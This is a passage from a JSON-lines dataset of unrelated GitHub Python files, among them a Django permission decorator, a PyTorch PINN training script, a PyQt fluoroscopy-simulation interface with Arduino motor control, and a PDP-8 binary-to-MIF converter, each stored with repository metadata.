np\nimport cv2\nimport matplotlib.pyplot as plt\n\nwidth, height = 48, 48\n\ndata = pd.read_csv('./data/fer2013/fer2013.csv')\n\npixels = data['pixels'].tolist()\nnum = int(input(\"Enter a number: \"))\n\nface = [int(pixel) for pixel in pixels[num].split(' ')]\nface = np.asarray(face).reshape(width, height)\nface = cv2.resize(face.astype('uint8'), (width, height))\n\nprint(data['emotion'][num])\n\nimgplot = plt.imshow(face, cmap='gray')\nplt.show()\n","repo_name":"peace-chaos26/Deep-Learning-Project","sub_path":"view_image.py","file_name":"view_image.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"24894016366","text":"from django.core.exceptions import PermissionDenied\n\n\nfrom apps.organisation.models import OrganisationItem\n\n\ndef allow_user_organisations(function):\n def wrap(request, *args, **kwargs):\n if request.user.is_anonymous:\n raise PermissionDenied\n organisation = OrganisationItem.objects.get(id=kwargs['id'])\n\n if organisation.owner == request.user:\n request.organisation = organisation\n return function(request, *args, **kwargs)\n else:\n raise PermissionDenied\n\n wrap.__doc__ = function.__doc__\n wrap.__name__ = function.__name__\n return wrap\n\n\n","repo_name":"teamforus/poc-cmg-consul-backend","sub_path":"web/apps/organisation/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"10706735609","text":"from flask import Flask, render_template\r\nfrom flask_cors import CORS\r\nfrom pprint import pprint\r\nimport json\r\nimport boto3 \r\nimport os\r\n\r\n\r\napp = Flask(__name__)\r\nCORS(app)\r\napp._static_folder = os.path.abspath(\"templates/static/\")\r\ndynamodb = boto3.resource('dynamodb')\r\ntable = dynamodb.Table('VisitorCounter')\r\n\r\nresponse = table.get_item(\r\n Key={\r\n 'Site': 0\r\n }\r\n)\r\n\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n item = response['Item']\r\n print(item)\r\n count = item['Visits']\r\n print(count)\r\n return render_template('index.html', count=count)\r\n\r\n@app.route('/my-link/')\r\ndef my_link():\r\n print ('I got clicked!')\r\n print(table.creation_date_time)\r\n item = response['Item']\r\n print(item)\r\n count = item['Visits']\r\n print(count)\r\n\r\n \r\n# table.update_item(\r\n# Key={\r\n# 'Site': 0,\r\n\r\n# },\r\n# UpdateExpression='SET Visits = :val1',\r\n# ExpressionAttributeValues={\r\n# ':val1': item['Visits'] + 1\r\n# }\r\n# )\r\n return render_template('index.html', count=count)\r\n# return {\r\n # \"statusCode\": 200,\r\n # \"body\": json.dumps({\"Visit_Count\": str(item['Visits'] + 1)})\r\n # }\r\n \r\n \r\n\r\n \r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n\r\n","repo_name":"acolbert1/Resume","sub_path":"myservice.py","file_name":"myservice.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"24572515459","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim.lr_scheduler import StepLR\nfrom tqdm import trange\n\n# Define your PDEQnet class as in your original code\nclass PDEQnet(nn.Module):\n def __init__(self, dim, width, beta):\n super(PDEQnet, self).__init__()\n self.dim = dim\n self.width = width\n self.innerwidth = int(width/2)\n self.beta = beta\n\n self.fc1 = nn.Linear(self.dim, self.width)\n self.fc2 = nn.Linear(self.width, self.width)\n\n self.fc3 = nn.Linear(self.width, self.width)\n self.fc4 = nn.Linear(self.width, self.width)\n\n self.outlayer = nn.Linear(self.width, 1, bias=True)\n\n def forward(self, x):\n s = torch.nn.functional.pad(x, (0, self.width - self.dim))\n\n y = self.fc1(x)\n y = torch.sigmoid(y)\n y = self.fc2(y)\n y = torch.sigmoid(y)\n y = y + s\n\n s = y\n y = self.fc3(y)\n y = torch.sigmoid(y)\n y = self.fc4(y)\n y = torch.sigmoid(y)\n y = y + s\n\n output = self.outlayer(y)\n return output\n\n def assign_value(self):\n # self.c.weight.data = torch.as_tensor(np.random.uniform(-1, 1, size=self.c.weight.shape), dtype=torch.float32)\n # self.wb.weight.data = torch.as_tensor(np.random.normal(0, 1, size=self.wb.weight.shape), dtype=torch.float32)\n # self.wb.bias.data = torch.as_tensor(np.random.normal(0, 1, size=self.wb.bias.shape) ,dtype=torch.float32)\n # self.wb2.weight.data = torch.as_tensor(np.random.normal(0, 1, size=self.wb2.weight.shape), dtype=torch.float32)\n # self.wb2.bias.data = torch.as_tensor(np.random.normal(0, 1, size=self.wb2.bias.shape) ,dtype=torch.float32)\n for m in self.modules():\n if isinstance(m, torch.nn.Linear):\n torch.nn.init.kaiming_normal_(m.weight)\n torch.nn.init.normal_(m.bias)\n\n\ndef compute_pde_residual(output, grid):\n # Compute the PDE residual for your specific problem\n # Example: Laplace equation in 2D\n u_xx = torch.autograd.grad(output, grid, grad_outputs=torch.ones_like(output), create_graph=True, retain_graph=True)[0]\n u_yy = torch.autograd.grad(u_xx, grid, grad_outputs=torch.ones_like(u_xx), create_graph=True, retain_graph=True)[0]\n\n # The PDE residual is the difference between the LHS and RHS\n # LHS for the Laplace equation is Laplacian(u) = u_xx + u_yy\n LHS = u_xx + u_yy\n\n # Example: RHS of Laplace equation is 0\n RHS = torch.zeros_like(output)\n\n # Compute the residual\n residual = LHS - RHS\n\n return residual\n\n\n# Define loss functions for the PDE and data-driven loss\ndef pde_loss(output, grid):\n # Compute the PDE residual using the output and grid\n pde_residual = compute_pde_residual(output, grid)\n return torch.mean(pde_residual**2)\n\ndef data_driven_loss(output, data, target):\n # Compute the loss for the Monte Carlo data generator\n data_residual = output - data\n return torch.mean(data_residual**2)\n\n# Create your data generator function (Monte Carlo in your case) and provide sample data\n# Create your data generator function (Monte Carlo in your case) and provide sample data\ndef data_generator(num_samples):\n # Generate random data for training (as tensors with requires_grad set to True)\n data = torch.randn((num_samples, input_dim), requires_grad=True) # Set requires_grad to True\n target = torch.randn((num_samples, 1), requires_grad=True) # Set requires_grad to True\n return data, target\n\n# Hyperparameters\ninput_dim = 10\nN = 64\ninitial_lr = 0.01\nNum_epo = 10000\npde_weight = 1.0\ndata_driven_weight = 1.0\nbeta = 0.5+0.01\n\n# Initialize your PDEQnet\nqnet = PDEQnet(input_dim, N, beta)\n\n# Define an optimizer and learning rate scheduler\nQoptimizer = optim.Adam(qnet.parameters(), lr=initial_lr)\nQscheduler = StepLR(Qoptimizer, step_size=1000, gamma=0.8)\n\n# Training loop\nfor count in trange(Num_epo):\n # Generate Monte Carlo data\n num_samples = 500 # Adjust the number of samples\n data, target = data_generator(num_samples)\n\n # Net output\n out = qnet(data)\n # Compute the PINN loss\n pde_term = pde_loss(out, data)\n data_driven_term = data_driven_loss(out, data, target)\n total_loss = pde_weight * pde_term + data_driven_weight * data_driven_term\n\n # Optimize the network to minimize the total loss\n Qoptimizer.zero_grad()\n total_loss.backward()\n Qoptimizer.step()\n Qscheduler.step()\n\n # Monitor your training progress and losses\n if count % 10 == 0: # Print every 10 epochs or adjust as needed\n print(f\"Epoch {count}/{Num_epo}, Loss: {total_loss.item()}\")\n\n\n# Save the trained model if needed\ntorch.save(qnet.state_dict(), \"pinn_model.pth\")\n","repo_name":"ReaganWu/MontePhysicNN","sub_path":"Reference/PINN_test.py","file_name":"PINN_test.py","file_ext":"py","file_size_in_byte":4742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"35409686352","text":"'''\nFile to launch app\n'''\n# General imports\nimport sys\nsys.path.append(\"..\")\nimport os\nimport time\nimport numpy as np\nimport webbrowser\nimport cv2\nfrom qt_material import apply_stylesheet\nimport serial\nimport pyautogui\nwidth, height= pyautogui.size()\n\n# Qt imports\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\n\n# Automatically find Arduino port for communication with C-Arm\ntry:\n ports = list(serial.tools.list_ports.comports())\n for p in ports:\n if \"Arduino\" in p[1]:\n arduino_port = p[0]\n ser = serial.Serial(arduino_port , 9600)\nexcept:\n print('No Arduino Port')\n\n# Automatically find camera indexes\ndevice1 = 'None'\ndevice2 = 'None'\ndevice3 = 'None'\nindices = [0,1,2,3,4,5]\nfor i in indices:\n device = indices[i]\n try :\n cap = cv2.VideoCapture(device, cv2.CAP_DSHOW)\n while True:\n ret,frame=cap.read()\n cv2.imshow('frame'+str(device),frame)\n contrast = cap.get(cv2.CAP_PROP_CONTRAST)\n print(contrast)\n if contrast == 5.0:\n device1 = device\n if contrast == 50.0:\n device2 = device\n if contrast == 10.0:\n device3 = device\n break\n cap.release()\n cv2.destroyAllWindows()\n except cv2.error as error :\n print(\"[Error]: {}\".format(error))\n\nclass Controller(QMainWindow):\n '''Class for the app's main window'''\n\n def __init__(self):\n QMainWindow.__init__(self)\n\n #Instantiate settings window\n self.settingsDialog = Settings_Dialog()\n\n # Load user interface\n uic.loadUi(\"interface.ui\", self)\n self.showMaximized()\n\n # Initialize status variables\n self.showFps = False\n self.camera1Active = True\n self.camera2Active = True\n self.camera3Active = True\n\n # Initialize other variables\n self.current_angle = 0\n self.steps_per_deg = 1600/360\n self.angleIncrement = 5\n self.frameOrder = {'Simulation':self.label_cam0, \\\n 'Image originale':self.label_cam1, \\\n 'Image secondaire gauche':self.label_cam2, \\\n 'Image secondaire droite':self.label_cam3}\n self.zoom = 'Simulation'\n\n # Initiate buttons\n self.pushButton_camera1.clicked.connect(self.activateDeactivateCam1)\n self.pushButton_cameraTraitee.clicked.connect(self.activateDeactivateCam1)\n self.pushButton_camera2.clicked.connect(self.activateDeactivateCam2)\n self.pushButton_camera3.clicked.connect(self.activateDeactivateCam3)\n\n self.pushButton_zoom1.clicked.connect(self.zoomCam1)\n self.pushButton_zoom2.clicked.connect(self.zoomCam2)\n self.pushButton_zoom3.clicked.connect(self.zoomCam3)\n\n self.pushButton_rotateLeft.clicked.connect(self.rotateLeft)\n self.pushButton_rotateRight.clicked.connect(self.rotateRight)\n self.horizontalSlider.setTracking(False)\n self.horizontalSlider.valueChanged.connect(self.updateAngle)\n self.horizontalSlider.valueChanged.connect(self.turnAngle)\n self.horizontalSlider.setMinimum(-45)\n self.horizontalSlider.setMaximum(45)\n\n self.pushButton_infos.clicked.connect(self.openHelp)\n self.pushButton_settings.clicked.connect(self.openSettingsDialog)\n\n # Connect settings options\n self.settingsDialog.buttonBox.accepted.connect(self.changeSettings)\n self.settingsDialog.buttonBox.rejected.connect(self.cancelSettings)\n self.updateAngleToolTip()\n\n # Start camera threads\n self.thread1 = Camera1_Thread()\n self.startCamera1()\n self.thread2 = Camera2_Thread()\n self.startCamera2()\n self.thread3 = Camera3_Thread()\n self.startCamera3()\n\n def startCamera1(self):\n '''Start camera 1'''\n try:\n self.thread1.start()\n self.thread1.imageUpdate.connect(self.imageUpdateSlot)\n self.thread1.imageUpdateXray.connect(self.imageUpdateSlotXray)\n except:\n self.showErrorPopup('starting camera 1')\n\n def startCamera2(self):\n '''Start camera 2'''\n try:\n self.thread2.start()\n self.thread2.imageUpdate2.connect(self.imageUpdateSlot2)\n except:\n self.showErrorPopup('starting camera 2')\n\n def startCamera3(self):\n '''Start camera 3'''\n try:\n self.thread3.start()\n self.thread3.imageUpdate3.connect(self.imageUpdateSlot3)\n except:\n self.showErrorPopup('starting camera 3')\n\n def imageUpdateSlot(self, Image):\n '''Update camera 1 image with the images emitted by the thread'''\n\n if self.frameOrder['Image originale'] != self.label_cam0: # If zoom on original image\n Image = Image.scaled((int(width*0.15)), (int(height*0.15)), Qt.KeepAspectRatio)\n else:\n Image = Image.scaled((int(width*0.58)), (int(height*0.58)), Qt.KeepAspectRatio)\n self.frameOrder['Image originale'].setPixmap(QPixmap.fromImage(Image))\n\n def imageUpdateSlotXray(self, Image):\n '''Update camera 1 image with the Xray images emitted by the thread'''\n\n if self.frameOrder['Simulation'] != self.label_cam0: # If zoom on simulation image\n Image = Image.scaled((int(width*0.15)), (int(height*0.15)), Qt.KeepAspectRatio)\n else:\n Image = Image.scaled((int(width*0.58)), (int(height*0.58)), Qt.KeepAspectRatio)\n self.frameOrder['Simulation'].setPixmap(QPixmap.fromImage(Image))\n\n\n def imageUpdateSlot2(self, Image):\n '''Update camera 2 image with the images emitted by the thread'''\n\n if self.frameOrder['Image secondaire gauche'] != self.label_cam0: # If zoom on left camera image\n Image = Image.scaled((int(width*0.15)), (int(height*0.15)), Qt.KeepAspectRatio)\n else:\n Image = Image.scaled((int(width*0.58)), (int(height*0.58)), Qt.KeepAspectRatio)\n self.frameOrder['Image secondaire gauche'].setPixmap(QPixmap.fromImage(Image))\n\n\n def imageUpdateSlot3(self, Image):\n '''Update camera 3 image with the images emitted by the thread'''\n\n if self.frameOrder['Image secondaire droite'] != self.label_cam0: # If zoom on right camera image\n Image = Image.scaled((int(width*0.15)), (int(height*0.15)), Qt.KeepAspectRatio)\n else:\n Image = Image.scaled((int(width*0.58)), (int(height*0.58)), Qt.KeepAspectRatio)\n self.frameOrder['Image secondaire droite'].setPixmap(QPixmap.fromImage(Image))\n\n\n def activateDeactivateCam1(self):\n '''Stop or activate camera 1 feed'''\n if self.camera1Active:\n self.thread1.stop()\n self.pushButton_camera1.setToolTip('Activer')\n self.pushButton_camera1.setIcon(QIcon(os.getcwd()+\"\\\\icones\\\\icon-play-white.png\"))\n self.pushButton_cameraTraitee.setToolTip('Activer')\n self.pushButton_cameraTraitee.setIcon(QIcon(os.getcwd()+\"\\\\icones\\\\icon-play-white.png\"))\n self.camera1Active = False\n else:\n self.startCamera1()\n self.pushButton_camera1.setToolTip('Désactiver')\n self.pushButton_camera1.setIcon(QIcon(os.getcwd()+\"\\\\icones\\\\icon-pause-white.png\"))\n self.pushButton_cameraTraitee.setToolTip('Désactiver')\n self.pushButton_cameraTraitee.setIcon(QIcon(os.getcwd()+\"\\\\icones\\\\icon-pause-white.png\"))\n self.camera1Active = True\n\n def activateDeactivateCam2(self):\n '''Stop or activate camera 1 feed'''\n if self.camera2Active:\n self.thread2.stop()\n self.pushButton_camera2.setToolTip('Activer')\n self.pushButton_camera2.setIcon(QIcon(os.getcwd()+\"\\\\icones\\\\icon-play-white.png\"))\n self.camera2Active = False\n else:\n self.startCamera2()\n self.pushButton_camera2.setToolTip('Désactiver')\n self.pushButton_camera2.setIcon(QIcon(os.getcwd()+\"\\\\icones\\\\icon-pause-white.png\"))\n self.camera2Active = True\n\n def activateDeactivateCam3(self):\n '''Stop or activate camera 1 feed'''\n if self.camera3Active:\n self.thread2.stop()\n self.pushButton_camera3.setToolTip('Activer')\n self.pushButton_camera3.setIcon(QIcon(os.getcwd()+\"\\\\icones\\\\icon-play-white.png\"))\n self.camera3Active = False\n else:\n self.startCamera2()\n self.pushButton_camera3.setToolTip('Désactiver')\n self.pushButton_camera3.setIcon(QIcon(os.getcwd()+\"\\\\icones\\\\icon-pause-white.png\"))\n self.camera3Active = True\n\n def zoomCam1(self):\n '''Focus on the camera that's currently in frame 1'''\n previousZoom = self.groupBox_frame0.title()\n self.zoom = self.groupBox_frame1.title()\n self.groupBox_frame0.setTitle(self.zoom)\n self.groupBox_frame1.setTitle(previousZoom)\n\n self.frameOrder[previousZoom] = self.label_cam1\n self.frameOrder[self.zoom] = self.label_cam0\n\n def zoomCam2(self):\n '''Focus on the camera that's currently in frame 2'''\n previousZoom = self.groupBox_frame0.title()\n self.zoom = self.groupBox_frame2.title()\n self.groupBox_frame0.setTitle(self.zoom)\n self.groupBox_frame2.setTitle(previousZoom)\n\n self.frameOrder[previousZoom] = self.label_cam2\n self.frameOrder[self.zoom] = self.label_cam0\n\n def zoomCam3(self):\n '''Focus on the camera that's currently in frame 3'''\n previousZoom = self.groupBox_frame0.title()\n self.zoom = self.groupBox_frame3.title()\n self.groupBox_frame0.setTitle(self.zoom)\n self.groupBox_frame3.setTitle(previousZoom)\n\n self.frameOrder[previousZoom] = self.label_cam3\n self.frameOrder[self.zoom] = self.label_cam0\n \n def updateAngle(self):\n '''Update the current angle of the motor'''\n angle = self.horizontalSlider.value()\n self.label_angle.setText('Angle : '+str(angle)+'°')\n\n def turnAngle(self):\n '''Turn the motor of a certain angle value'''\n try:\n angle = self.horizontalSlider.value()\n angle = int(angle)\n if angle != self.current_angle : # If desired angle different from current one\n rotation = angle - self.current_angle\n rotation = float(rotation)\n steps = int(np.round(self.steps_per_deg * rotation))\n steps_byte = bytes(str(steps), 'utf-8')\n ser.write(steps_byte)\n self.current_angle = angle\n except:\n self.showErrorPopup('turning motor')\n\n def showErrorPopup(self, error=''):\n '''Shows error popup'''\n \n error_popup = QMessageBox()\n error_popup.setWindowTitle('Program Error')\n error_popup.setText('Error while '+error+', please try again')\n error_popup.setIcon(QMessageBox.Warning)\n error_popup.setStandardButtons(QMessageBox.Ok)\n error_popup.setDefaultButton(QMessageBox.Ok)\n error_popup.exec_()\n\n def rotateLeft(self):\n '''Rotate left the motor'''\n rotation = float(self.angleIncrement) * -1\n\n newAngle = self.horizontalSlider.value() + int(rotation)\n if newAngle >= -45:\n self.horizontalSlider.setValue(newAngle)\n self.updateAngle()\n else:\n self.showErrorPopup('rotating, angle exceeds the range of rotation')\n\n\n def rotateRight(self):\n '''Rotate right the motor'''\n rotation = float(self.angleIncrement)\n\n newAngle = self.horizontalSlider.value() + int(rotation)\n if newAngle <= 45:\n self.horizontalSlider.setValue(newAngle)\n self.updateAngle()\n else:\n self.showErrorPopup('rotating, angle exceeds the range of rotation')\n\n def openHelp(self):\n '''Open help documentation for the program (PDF)'''\n webbrowser.open_new('Guide.pdf') \n\n def openSettingsDialog(self):\n '''Open the dialog window for modification of settings'''\n self.settingsDialog.exec_()\n\n def changeSettings(self):\n '''Change the configuration settings'''\n self.angleIncrement = int(self.settingsDialog.doubleSpinBox_motorIncrement.value())\n self.updateAngleToolTip()\n self.showFps = self.settingsDialog.checkBox_fps.isChecked()\n self.settingsDialog.accept()\n\n def cancelSettings(self):\n '''Change the configuration settings'''\n self.settingsDialog.doubleSpinBox_motorIncrement.setValue(self.angleIncrement)\n self.settingsDialog.checkBox_fps.setChecked(self.showFps)\n self.settingsDialog.accept()\n\n def updateAngleToolTip(self):\n '''Changes the tooltip for the rotations' buttons according to the current angle increment'''\n self.pushButton_rotateLeft.setToolTip('Tourner de -' + str(self.angleIncrement) + '° (sens anti-horaire)')\n self.pushButton_rotateRight.setToolTip('Tourner de ' + str(self.angleIncrement) + '° (sens horaire)')\n\n def closeEvent(self, event):\n '''Making sure that everything is closed when the user exits the software.\n This function executes automatically when the user closes the UI.\n This is an intrinsic function name of Qt, don't change the name even \n if it doesn't follow the naming convention'''\n\n self.activateDeactivateCam1()\n self.activateDeactivateCam2()\n self.activateDeactivateCam3()\n\nclass Settings_Dialog(QDialog):\n '''Class for Settings Dialog'''\n \n def __init__(self):\n QDialog.__init__(self)\n \n #Loading user interface\n uic.loadUi(\"settings.ui\", self)\n \n #Loading preset\n self.loadPreset()\n\n def loadPreset(self):\n '''Load preset'''\n self.doubleSpinBox_motorIncrement.setValue(5)\n\nclass Camera1_Thread(QThread):\n '''Thread that emits a QT image from camera 1'''\n\n imageUpdate = pyqtSignal(QImage)\n imageUpdateXray = pyqtSignal(QImage)\n \n def run(self):\n self.threadActive = True\n # Capture image\n Capture = cv2.VideoCapture(device1, cv2.CAP_DSHOW)\n \n prev_frame_time = 0\n new_frame_time = 0\n start_time = 0\n\n while self.threadActive:\n\n # Import and adjust fluoroscopic image for background\n simg=cv2.imread('fluoro_2.jpg')\n simg=cv2.resize(simg,(320,240),interpolation=cv2.INTER_AREA)\n img_gray_fluoro=cv2.cvtColor(simg, cv2.COLOR_BGR2GRAY)\n \n ret, frame = Capture.read()\n if ret: # If there is no issue with the capture\n\n # Adjust original camera 1 image\n rgb_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Convert to RGB\n FlippedImage = cv2.flip(rgb_frame, 1)\n\n # Calculate FPS\n new_frame_time = time.time()\n fps = int(1/(new_frame_time-prev_frame_time))\n prev_frame_time = new_frame_time\n\n # Show FPS for original image\n if controller.showFps == True:\n fpsText = \"FPS: \" + str(fps)\n cv2.putText(FlippedImage, fpsText, (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 1.5, (255, 255, 255), 3, cv2.LINE_AA)\n \n # Emit original image (not modified)\n ConvertToQtFormat = QImage(FlippedImage.data, FlippedImage.shape[1], FlippedImage.shape[0], QImage.Format_RGB888)\n Pic = ConvertToQtFormat.scaled(1000, 750, Qt.KeepAspectRatio)\n self.imageUpdate.emit(Pic)\n\n ####################\n # Processed camera 1 image (x ray)\n #Diminution de la taille pour accélérer l'algo\n sImage=cv2.pyrDown(frame)\n #Test pour une reduction de la qualité une seconde fois\n #sImage=cv2.pyrDown(sImage)\n \n #gray=cv2.cvtColor(sImage, cv2.COLOR_BGR2GRAY)\n \n #Preparation pour Kmeans\n twoDimage=sImage[:,:,0].reshape((-1,1))\n twoDimage=np.float32(twoDimage)\n #Nombre d'iteration 2-3 (pour la rapidité)-perte de précision avec n=2\n #Algorithme K moyens\n criteria=(cv2.TERM_CRITERIA_EPS+cv2.TERM_CRITERIA_MAX_ITER,2,1.0)\n K=3\n attempts=2\n ret, label, center=cv2.kmeans(twoDimage,K,None,criteria,attempts,cv2.KMEANS_PP_CENTERS)\n center=np.uint8(center)\n res=center[label.flatten()]\n #Resultat des Kmoyens\n result_image=res.reshape((sImage[:,:,0].shape))\n\n ret,th=cv2.threshold(result_image,150,255,cv2.THRESH_BINARY)\n gray=cv2.cvtColor(sImage,cv2.COLOR_BGR2GRAY)+50\n th=cv2.blur(th,(5,5))\n result_image=cv2.bitwise_or(gray,th)\n result_image=cv2.bitwise_not(result_image)\n\n final=cv2.addWeighted(result_image,0.6,img_gray_fluoro,0.4,0.0)\n final=cv2.flip(final,1)\n\n #Redimensionnalisation de l'image\n final=cv2.resize(final,(640,480),interpolation=cv2.INTER_AREA)\n\n # Alternatives à explorer: 1- Smoothing du threshold (doit etre fait apres le resize)\n # 2-Ajout cathéter en binaire sur l'image fluoro (pas le mm poids que l'autre image)\n # 3-Faire tests après reset de lordinateur et sans autre programmes ouverts\n # Bon Chance\n ######################\n\n # Show FPS for modified image\n if controller.showFps == True:\n fpsText = \"FPS: \" + str(fps)\n cv2.putText(final, fpsText, (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 1.5, (0, 229, 255), 3, cv2.LINE_AA)\n \n # Emit modified image\n ConvertToQtFormat = QImage(final.data, final.shape[1], final.shape[0], QImage.Format_Grayscale8)\n Pic = ConvertToQtFormat.scaled(1000, 750, Qt.KeepAspectRatio)\n self.imageUpdateXray.emit(Pic)\n\n start_time = time.time()\n \n def stop(self):\n self.threadActive = False\n self.quit()\n\nclass Camera2_Thread(QThread):\n '''Thread that emits a QT image from camera 2'''\n imageUpdate2 = pyqtSignal(QImage)\n \n def run(self):\n self.threadActive = True\n # Capture image\n Capture = cv2.VideoCapture(device2, cv2.CAP_DSHOW)\n \n prev_frame_time = 0\n new_frame_time = 0\n\n while self.threadActive:\n ret, frame = Capture.read()\n if ret: # If there is no issue with the capture\n # Adjust image\n Image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Convert to RGB\n FlippedImage = cv2.flip(Image, 1)\n\n # Calculate image FPS\n new_frame_time = time.time()\n fps = int(1/(new_frame_time-prev_frame_time))\n prev_frame_time = new_frame_time\n\n # Show FPS\n if controller.showFps == True:\n fpsText = \"FPS: \" + str(fps)\n cv2.putText(FlippedImage, fpsText, (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 1.5, (0, 229, 255), 3, cv2.LINE_AA)\n \n # Emit image signal\n ConvertToQtFormat = QImage(FlippedImage.data, FlippedImage.shape[1], FlippedImage.shape[0], QImage.Format_RGB888)\n Pic = ConvertToQtFormat.scaled(1000, 750, Qt.KeepAspectRatio)\n self.imageUpdate2.emit(Pic)\n \n def stop(self):\n self.threadActive = False\n self.quit()\n\nclass Camera3_Thread(QThread):\n '''Thread that emits a QT image from camera 3'''\n imageUpdate3 = pyqtSignal(QImage)\n \n def run(self):\n self.threadActive = True\n # Capture image\n Capture = cv2.VideoCapture(device3, cv2.CAP_DSHOW)\n \n prev_frame_time = 0\n new_frame_time = 0\n\n while self.threadActive:\n ret, frame = Capture.read()\n if ret: # If there is no issue with the capture\n # Adjust image\n Image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Convert to RGB\n FlippedImage = cv2.flip(Image, 1)\n\n # Calculate image FPS\n new_frame_time = time.time()\n fps = int(1/(new_frame_time-prev_frame_time))\n prev_frame_time = new_frame_time\n \n # Show FPS\n if controller.showFps == True:\n fpsText = \"FPS: \" + str(fps)\n cv2.putText(FlippedImage, fpsText, (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 1.5, (0, 229, 255), 3, cv2.LINE_AA)\n \n # Emit image signal\n ConvertToQtFormat = QImage(FlippedImage.data, FlippedImage.shape[1], FlippedImage.shape[0], QImage.Format_RGB888)\n Pic = ConvertToQtFormat.scaled(1000, 750, Qt.KeepAspectRatio)\n self.imageUpdate3.emit(Pic)\n \n def stop(self):\n self.threadActive = False\n self.quit()\n\n# Launch app\nif __name__ == '__main__':\n # Set up app\n QCoreApplication.setAttribute(Qt.AA_ShareOpenGLContexts)\n app = QApplication(sys.argv)\n\n # Apply app theme\n apply_stylesheet(app, theme='my_theme.xml', extra={'font_size': '18px',})\n app.setWindowIcon(QIcon(os.getcwd()+\"\\\\icones\\\\logo.png\"))\n\n # Show main window\n controller = Controller()\n controller.show()\n sys.exit(app.exec_())","repo_name":"MathieuSerra/Projet-organe","sub_path":"projet/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":21723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"35504971537","text":"\"\"\"\nMerchant\n========\n\nReads and executes commands and provides a REPL.\n\"\"\"\nfrom sys import stdin\n\nfrom merchantsguide.parse_input import parse_input\n\n\nclass Merchant:\n \"\"\"\n Merchant's Guide to the Galaxy.\n\n Reads and executes commands and provides a REPL.\n \"\"\"\n @staticmethod\n def single_command(s):\n \"\"\"\n Read and execute a single command.\n\n :param s: the input string\n :return: the command's return value (either a string or None)\n \"\"\"\n cmd = parse_input(s)\n return cmd.execute()\n\n @staticmethod\n def repl(): # pragma: no cover\n \"\"\"\n Initiate a read-execute-print loop (REPL).\n\n Read inputs from stdin, execute them, and (if applicable) print a response for each until an EOF is received.\n\n :return: None\n \"\"\"\n for line in stdin:\n res = Merchant.single_command(line.strip())\n if res:\n print(res)\n","repo_name":"Musicted/merchant","sub_path":"merchantsguide/merchant.py","file_name":"merchant.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"27337319157","text":"from django.conf import settings\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls.static import static\nfrom . import views\n\n\nurlpatterns = [\n path(\"\", views.home, name=\"home\"),\n path(\"profile\", views.profile, name=\"profile\"),\n path(\"login\", views.loginPage, name=\"loginPage\"),\n path(\"register\", views.register, name=\"register\"),\n path(\"logout\", views.logoutUser, name=\"logout\"),\n path(\"about\", views.about, name=\"about\"),\n path(\"users\", views.users, name=\"users\"),\n path(\",,,\", views.showRoute, name=\"showRoute\"),\n path(\"showmap\", views.showMap, name=\"showmap\"),\n path(\"updateRide\", views.updateRide, name=\"updateRide\"),\n path(\"deleteRide\", views.deleteRide, name=\"deleteRide\"),\n path(\"updateProfile\", views.updateProfile, name=\"updateProfile\"),\n path(\"addFriend\", views.addFriend, name=\"addFriend\"),\n path(\"removeFriendRequest\", views.removeFriendRequest, name=\"removeFriendRequest\"),\n path(\"acceptFriendRequest\", views.acceptFriendRequest, name=\"acceptFriendRequest\"),\n path(\"removeFriend\", views.removeFriend, name=\"removeFriend\"),\n path(\"events\", views.events, name=\"events\"),\n path(\"userEvents\", views.userEvents, name=\"userEvents\"),\n path(\"newEvent\", views.newEvent, name=\"newEvent\"),\n path(\"updateEvent\", views.updateEvent, name=\"updateEvent\"),\n path(\"deleteEvent\", views.deleteEvent, name=\"deleteEvent\"),\n path(\"routes\", views.routes, name=\"routes\"),\n path(\"exploreRoute\", views.exploreRoute, name=\"exploreRoute\"),\n path(\"closeRoutes\", views.closeRoutes, name=\"closeRoutes\"),\n]\n","repo_name":"bzitkovic/diplomski-rad","sub_path":"Biciklisticka_Aplikacija/cycling_networking/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21627646028","text":"# shuffleBits - Convert PDP-8 binary file to MIF file\n#\tRead in the binary file creates by macro8x assembler\n#\tWrite out the Altera formatted Memory Initialization (.MIF) file to the command prompt window\n\nimport sys\n\nprint('argv',sys.argv)\nprint('count',len(sys.argv))\ninFileName = sys.argv[1]\n\nbinList = []\nwith open(inFileName, \"rb\") as f:\n\tbinList = f.read()\n# print(binList)\npairOffset = 0\ntheList = []\nwhile pairOffset < len(binList)-1:\n\tval1 = int(binList[pairOffset]) & 0x3f;\n\tval2 = int(binList[pairOffset+1]) & 0x3f;\n\tval = (val1 << 6) | val2;\n\ttxt = '{0:o}'\n\ttheList.append(txt.format(val))\n\tpairOffset += 2\n\nprint('-- Generated by shuffleBits.py')\nprint('-- ')\nprint('DEPTH = '+ str(len(theList)) +';')\nprint('WIDTH = 12;')\nprint('ADDRESS_RADIX = DECIMAL;')\nprint('DATA_RADIX = OCTAL;')\nprint('CONTENT 